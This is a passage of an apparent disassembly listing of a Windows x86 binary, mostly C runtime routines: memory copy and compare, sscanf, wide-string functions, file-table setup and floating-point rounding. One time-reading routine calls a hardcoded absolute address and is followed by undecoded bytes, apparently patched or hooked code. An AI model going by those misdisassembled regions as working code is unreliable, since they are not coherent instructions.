mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41EA00
std
rep movsd
cld
jmp ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41EA00
std
rep movsd
cld
jmp ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset dword_41EAD4
dd offset dword_41EADC
dd offset dword_41EAE4
dd offset dword_41EAEC
dd offset dword_41EAF4
dd offset dword_41EAFC
; ---------------------------------------------------------------------------
add al, 0EBh
inc ecx
loc_41EACF: ; DATA XREF: sub_41E840+1C2r
add [edi], dl
jmp short loc_41EB14
; ---------------------------------------------------------------------------
align 4
dword_41EAD4 dd 1C8E448Bh, 1C8F4489hdword_41EADC dd 188E448Bh, 188F4489hdword_41EAE4 dd 148E448Bh, 148F4489hdword_41EAEC dd 108E448Bh, 108F4489hdword_41EAF4 dd 0C8E448Bh, 0C8F4489hdword_41EAFC dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h
; DATA XREF: sub_41E840+288o
; ---------------------------------------------------------------------------
loc_41EB14: ; CODE XREF: sub_41E840+291j
lock add edi, eax
loc_41EB17: ; CODE XREF: sub_41E840+1C2j
jmp ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41EB20 dd offset loc_41EB30 ; DATA XREF: sub_41E840+1B7r
; sub_41E840:loc_41EA24r ...
dd offset loc_41EB38
dd offset loc_41EB48
dd offset loc_41EB5C
; ---------------------------------------------------------------------------
loc_41EB30: ; CODE XREF: sub_41E840+1B7j
; sub_41E840:loc_41EA24j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41EB38: ; CODE XREF: sub_41E840+1B7j
; sub_41E840:loc_41EA24j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41EB48: ; CODE XREF: sub_41E840+1B7j
; sub_41E840:loc_41EA24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41EB5C: ; CODE XREF: sub_41E840+1B7j
; sub_41E840:loc_41EA24j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41E840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB80 proc near ; CODE XREF: sub_409C2C+40p
; seg000:0040FF24p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41EB95: ; CODE XREF: sub_41EB80+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41EBB9
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41EBB9
int 3 ; Trap to Debugger
loc_41EBB9: ; CODE XREF: sub_41EB80+19j
; sub_41EB80+36j
xor edx, edx
test edx, edx
jnz short loc_41EB95
loc_41EBBF: ; CODE XREF: sub_41EB80+67j
cmp [ebp+arg_4], 0
jnz short loc_41EBE3
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41EBE3
int 3 ; Trap to Debugger
loc_41EBE3: ; CODE XREF: sub_41EB80+43j
; sub_41EB80+60j
xor eax, eax
test eax, eax
jnz short loc_41EBBF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_426BE0
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41EB80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41EC40 proc near ; CODE XREF: seg000:0040A74Ap
; seg000:0040A765p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41EC8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41EC8D
test eax, 1
jz short loc_41EC6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41ECBA
inc esi
inc edi
dec eax
jz short loc_41EC8A
loc_41EC6D: ; CODE XREF: sub_41EC40+20j
; sub_41EC40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41ECBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41ECBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41EC6D
loc_41EC8A: ; CODE XREF: sub_41EC40+2Bj
; sub_41EC40+84j
pop edi
pop esi
locret_41EC8C: ; CODE XREF: sub_41EC40+6j
retn
; ---------------------------------------------------------------------------
loc_41EC8D: ; CODE XREF: sub_41EC40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41ECC2
repe cmpsd
jz short loc_41ECC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41ECB5
cmp ch, dh
jnz short loc_41ECB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41ECB5
cmp ch, dh
loc_41ECB5: ; CODE XREF: sub_41EC40+63j
; sub_41EC40+67j ...
mov eax, 0
loc_41ECBA: ; CODE XREF: sub_41EC40+26j
; sub_41EC40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41ECC2: ; CODE XREF: sub_41EC40+55j
; sub_41EC40+59j
test eax, eax
jz short loc_41EC8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41ECB5
dec eax
jz short loc_41ECE9
cmp dh, ch
jnz short loc_41ECB5
dec eax
jz short loc_41ECE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41ECB5
dec eax
loc_41ECE9: ; CODE XREF: sub_41EC40+8Fj
; sub_41EC40+96j
pop edi
pop esi
retn
sub_41EC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECF0 proc near ; CODE XREF: sub_40A958+7Ap
; sub_40A958+8Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41ECFA: ; CODE XREF: sub_41ECF0+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_41ED11
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
jmp short loc_41ECFA
; ---------------------------------------------------------------------------
loc_41ED11: ; CODE XREF: sub_41ECF0+14j
; sub_41ECF0+4Bj
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov ax, [edx]
mov [ecx], ax
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
test edx, edx
jz short loc_41ED3D
jmp short loc_41ED11
; ---------------------------------------------------------------------------
loc_41ED3D: ; CODE XREF: sub_41ECF0+49j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_41ECF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED50 proc near ; CODE XREF: sub_40F19D+333p
; sub_40F19D+3A9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41ED5A: ; CODE XREF: sub_41ED50+34j
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov ax, [edx]
mov [ecx], ax
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
test edx, edx
jz short loc_41ED86
jmp short loc_41ED5A
; ---------------------------------------------------------------------------
loc_41ED86: ; CODE XREF: sub_41ED50+32j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_41ED50 endp
; ---------------------------------------------------------------------------
align 10h
loc_41ED90: ; CODE XREF: sub_40C5EF+1CCp
push ebp
mov ebp, esp
sub esp, 0D8h
lea eax, [ebp-24h]
push eax
call ds:dword_4F13C8 ; GetLocalTime
lea ecx, [ebp-10h]
push ecx
call near ptr 3D0000h
leave
mov edx, [ebp-6]
and edx, 0FFFFh
xor eax, eax
mov ax, ds:word_4EE9C2
cmp edx, eax
jnz short loc_41EE28
mov ecx, [ebp-8]
and ecx, 0FFFFh
xor edx, edx
mov dx, ds:word_4EE9C0
cmp ecx, edx
jnz short loc_41EE28
mov eax, [ebp-0Ah]
and eax, 0FFFFh
xor ecx, ecx
mov cx, ds:word_4EE9BE
cmp eax, ecx
jnz short loc_41EE28
mov edx, [ebp-0Eh]
and edx, 0FFFFh
xor eax, eax
mov ax, ds:word_4EE9BA
cmp edx, eax
jnz short loc_41EE28
mov ecx, [ebp-10h]
and ecx, 0FFFFh
xor edx, edx
mov dx, ds:word_4EE9B8
cmp ecx, edx
jnz short loc_41EE28
mov eax, ds:dword_4EE9B0
mov [ebp-0D8h], eax
jmp loc_41EEB0
; ---------------------------------------------------------------------------
loc_41EE28: ; CODE XREF: seg000:0041EDC0j
; seg000:0041EDD6j ...
lea ecx, [ebp-0D0h]
push ecx
call near ptr 3D0000h
mov ecx, [ecx-0D37Bh]
inc dword ptr [ebx-0D343h]
; ---------------------------------------------------------------------------
dd 3474FFFFh, 0FF2CBD83h, 7502FFFFh, 0CA558B1Fh, 0FFFFE281h
dd 0D2850000h, 7D831274h, 0C7400D8h, 0FF2885C7h, 1FFFFh
dd 0AEB0000h, 0FF2885C7h, 0FFFFh, 0AEB0000h, 0FF2885C7h
dd 0FFFFFFFFh, 858BFFFFh, 0FFFFFF28h, 4EE9B0A3h, 0F04D8B00h
dd 0E9B80D89h, 558B004Eh, 0BC1589F4h, 8B004EE9h, 0C0A3F845h
dd 8B004EE9h, 0D89FC4Dh, 4EE9C4h
; ---------------------------------------------------------------------------
loc_41EEB0: ; CODE XREF: seg000:0041EE23j
mov edx, [ebp-0D8h]
push edx
mov eax, [ebp-18h]
and eax, 0FFFFh
push eax
mov ecx, [ebp-1Ah]
and ecx, 0FFFFh
push ecx
mov edx, [ebp-1Ch]
and edx, 0FFFFh
push edx
mov eax, [ebp-1Eh]
and eax, 0FFFFh
push eax
mov ecx, [ebp-22h]
and ecx, 0FFFFh
push ecx
mov edx, [ebp-24h]
and edx, 0FFFFh
push edx
call sub_4280E0
add esp, 1Ch
mov [ebp-14h], eax
cmp dword ptr [ebp+8], 0
jz short loc_41EF0A
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [eax], ecx
loc_41EF0A: ; CODE XREF: seg000:0041EF00j
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; DATA XREF: seg002:0043C01Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F0080, 0
jnz short loc_41EF39
mov ds:dword_4F0080, 200h
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF39: ; CODE XREF: sub_41EF20+Bj
cmp ds:dword_4F0080, 14h
jge short loc_41EF4C
mov ds:dword_4F0080, 14h
loc_41EF4C: ; CODE XREF: sub_41EF20+17j
; sub_41EF20+20j
push 83h
push offset a_file_c ; "_file.c"
push 2
push 4
mov eax, ds:dword_4F0080
push eax
call sub_41B270
add esp, 14h
mov ds:dword_4EF06C, eax
cmp ds:dword_4EF06C, 0
jnz short loc_41EFB5
mov ds:dword_4F0080, 14h
push 86h
push offset a_file_c ; "_file.c"
push 2
push 4
mov ecx, ds:dword_4F0080
push ecx
call sub_41B270
add esp, 14h
mov ds:dword_4EF06C, eax
cmp ds:dword_4EF06C, 0
jnz short loc_41EFB5
push 1Ah
call sub_420CA0
add esp, 4
loc_41EFB5: ; CODE XREF: sub_41EF20+54j
; sub_41EF20+89j
mov [ebp+var_4], 0
jmp short loc_41EFC7
; ---------------------------------------------------------------------------
loc_41EFBE: ; CODE XREF: sub_41EF20+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41EFC7: ; CODE XREF: sub_41EF20+9Cj
cmp [ebp+var_4], 14h
jge short loc_41EFE6
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_44FA70
mov ecx, [ebp+var_4]
mov edx, ds:dword_4EF06C
mov [edx+ecx*4], eax
jmp short loc_41EFBE
; ---------------------------------------------------------------------------
loc_41EFE6: ; CODE XREF: sub_41EF20+ABj
mov [ebp+var_4], 0
jmp short loc_41EFF8
; ---------------------------------------------------------------------------
loc_41EFEF: ; CODE XREF: sub_41EF20:loc_41F046j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41EFF8: ; CODE XREF: sub_41EF20+CDj
cmp [ebp+var_4], 3
jge short loc_41F048
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_41F036
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_41F046
loc_41F036: ; CODE XREF: sub_41EF20+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov ds:dword_44FA80[ecx], 0FFFFFFFFh
loc_41F046: ; CODE XREF: sub_41EF20+114j
jmp short loc_41EFEF
; ---------------------------------------------------------------------------
loc_41F048: ; CODE XREF: sub_41EF20+DCj
mov esp, ebp
pop ebp
retn
sub_41EF20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F050 proc near ; DATA XREF: seg002:0043C034o
push ebp
mov ebp, esp
call sub_4217E0
movsx eax, ds:byte_4EE9A0
test eax, eax
jz short loc_41F068
call sub_4285A0
loc_41F068: ; CODE XREF: sub_41F050+11j
pop ebp
retn
sub_41F050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F070 proc near ; CODE XREF: sub_41ACF0+55p
; sub_41CDD0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_44FA70
jb short loc_41F09E
cmp [ebp+arg_0], offset dword_44FCD0
ja short loc_41F09E
mov eax, [ebp+arg_0]
sub eax, offset off_44FA70
sar eax, 5
add eax, 1Ch
push eax
call sub_421A80
add esp, 4
jmp short loc_41F0AB
; ---------------------------------------------------------------------------
loc_41F09E: ; CODE XREF: sub_41F070+Aj
; sub_41F070+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_4F1364 ; RtlEnterCriticalSection
loc_41F0AB: ; CODE XREF: sub_41F070+2Cj
pop ebp
retn
sub_41F070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F0B0 proc near ; CODE XREF: sub_4217F0+7Ep
; sub_4248B0+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41F0CA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_421A80
add esp, 4
jmp short loc_41F0D7
; ---------------------------------------------------------------------------
loc_41F0CA: ; CODE XREF: sub_41F0B0+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_4F1364 ; RtlEnterCriticalSection
loc_41F0D7: ; CODE XREF: sub_41F0B0+18j
pop ebp
retn
sub_41F0B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F0E0 proc near ; CODE XREF: sub_41ACF0+70p
; sub_41CDD0+2Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_44FA70
jb short loc_41F10E
cmp [ebp+arg_0], offset dword_44FCD0
ja short loc_41F10E
mov eax, [ebp+arg_0]
sub eax, offset off_44FA70
sar eax, 5
add eax, 1Ch
push eax
call sub_421B20
add esp, 4
jmp short loc_41F11B
; ---------------------------------------------------------------------------
loc_41F10E: ; CODE XREF: sub_41F0E0+Aj
; sub_41F0E0+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call ds:dword_4F1360 ; RtlLeaveCriticalSection
loc_41F11B: ; CODE XREF: sub_41F0E0+2Cj
pop ebp
retn
sub_41F0E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F120 proc near ; CODE XREF: sub_4217F0+116p
; sub_4248B0+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41F13A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_421B20
add esp, 4
jmp short loc_41F147
; ---------------------------------------------------------------------------
loc_41F13A: ; CODE XREF: sub_41F120+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call ds:dword_4F1360 ; RtlLeaveCriticalSection
loc_41F147: ; CODE XREF: sub_41F120+18j
pop ebp
retn
sub_41F120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41F150(double)
sub_41F150 proc near ; CODE XREF: sub_40CFCB+38p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, ds:dword_44FCF0
push eax
call sub_4295E0
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41F20B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_4293E0
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_41F1E2
cmp [ebp+var_10], 2
jle short loc_41F1AE
cmp [ebp+var_10], 3
jz short loc_41F1C7
jmp short loc_41F1E2
; ---------------------------------------------------------------------------
loc_41F1AE: ; CODE XREF: sub_41F150+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_4295E0
add esp, 8
fld [ebp+arg_0]
jmp loc_41F281
; ---------------------------------------------------------------------------
loc_41F1C7: ; CODE XREF: sub_41F150+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Bh ; int
call sub_4286A0
add esp, 10h
jmp loc_41F281
; ---------------------------------------------------------------------------
loc_41F1E2: ; CODE XREF: sub_41F150+4Ej
; sub_41F150+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd ds:dbl_439CE8
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Bh ; int
push 8 ; int
call sub_428770
add esp, 1Ch
jmp short loc_41F281
; ---------------------------------------------------------------------------
loc_41F20B: ; CODE XREF: sub_41F150+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_428680
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_41F241
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_4295E0
add esp, 8
fld [ebp+var_8]
jmp short loc_41F281
; ---------------------------------------------------------------------------
loc_41F241: ; CODE XREF: sub_41F150+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_41F261
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_4295E0
add esp, 8
fld [ebp+var_8]
jmp short loc_41F281
; ---------------------------------------------------------------------------
loc_41F261: ; CODE XREF: sub_41F150+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Bh ; int
push 10h ; int
call sub_428770
add esp, 1Ch
loc_41F281: ; CODE XREF: sub_41F150+72j
; sub_41F150+8Dj ...
mov esp, ebp
pop ebp
retn
sub_41F150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F290 proc near ; CODE XREF: sub_41D990+Cp
; DATA XREF: seg002:off_44FCFCo
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_41F2D0
call sub_429720
mov ds:dword_4EE9D0, eax
call sub_4296A0
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41F290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2C0 proc near ; DATA XREF: seg002:0044FD00o
; seg002:0044FD04o
push ebp
mov ebp, esp
pop ebp
retn
sub_41F2C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2D0 proc near ; CODE XREF: sub_41F290+6p
push ebp
mov ebp, esp
mov ds:off_4503F8, offset sub_429E10
mov ds:off_4503FC, offset sub_429820
mov ds:off_450400, offset sub_429930
mov ds:off_450404, offset sub_429770
mov ds:off_450408, offset sub_429900
mov ds:off_45040C, offset sub_429E10
pop ebp
retn
sub_41F2D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EE9CC
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4EE9CC, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F33C proc near ; CODE XREF: sub_40CFCB+1Bp
; sub_40CFCB+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41F33C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41F370(double)
sub_41F370 proc near ; CODE XREF: sub_40D017+79p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, ds:dword_44FD08
push eax
call sub_4295E0
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_41F42B
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_4293E0
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_41F402
cmp [ebp+var_10], 2
jle short loc_41F3CE
cmp [ebp+var_10], 3
jz short loc_41F3E7
jmp short loc_41F402
; ---------------------------------------------------------------------------
loc_41F3CE: ; CODE XREF: sub_41F370+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_4295E0
add esp, 8
fld [ebp+arg_0]
jmp loc_41F4A1
; ---------------------------------------------------------------------------
loc_41F3E7: ; CODE XREF: sub_41F370+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Ch ; int
call sub_4286A0
add esp, 10h
jmp loc_41F4A1
; ---------------------------------------------------------------------------
loc_41F402: ; CODE XREF: sub_41F370+4Ej
; sub_41F370+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd ds:dbl_439CE8
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Ch ; int
push 8 ; int
call sub_428770
add esp, 1Ch
jmp short loc_41F4A1
; ---------------------------------------------------------------------------
loc_41F42B: ; CODE XREF: sub_41F370+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_428680
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_41F461
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_4295E0
add esp, 8
fld [ebp+var_8]
jmp short loc_41F4A1
; ---------------------------------------------------------------------------
loc_41F461: ; CODE XREF: sub_41F370+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_41F481
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_4295E0
add esp, 8
fld [ebp+var_8]
jmp short loc_41F4A1
; ---------------------------------------------------------------------------
loc_41F481: ; CODE XREF: sub_41F370+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Ch ; int
push 10h ; int
call sub_428770
add esp, 1Ch
loc_41F4A1: ; CODE XREF: sub_41F370+72j
; sub_41F370+8Dj ...
mov esp, ebp
pop ebp
retn
sub_41F370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4B0 proc near ; CODE XREF: sub_42A540+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41F4B0 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F4F0 proc near ; CODE XREF: sub_42AA20+50p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41F4F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F500 proc near ; CODE XREF: sub_42A7A0+247p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41F500 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F510 proc near ; CODE XREF: sub_42A7A0+21Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41F510 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
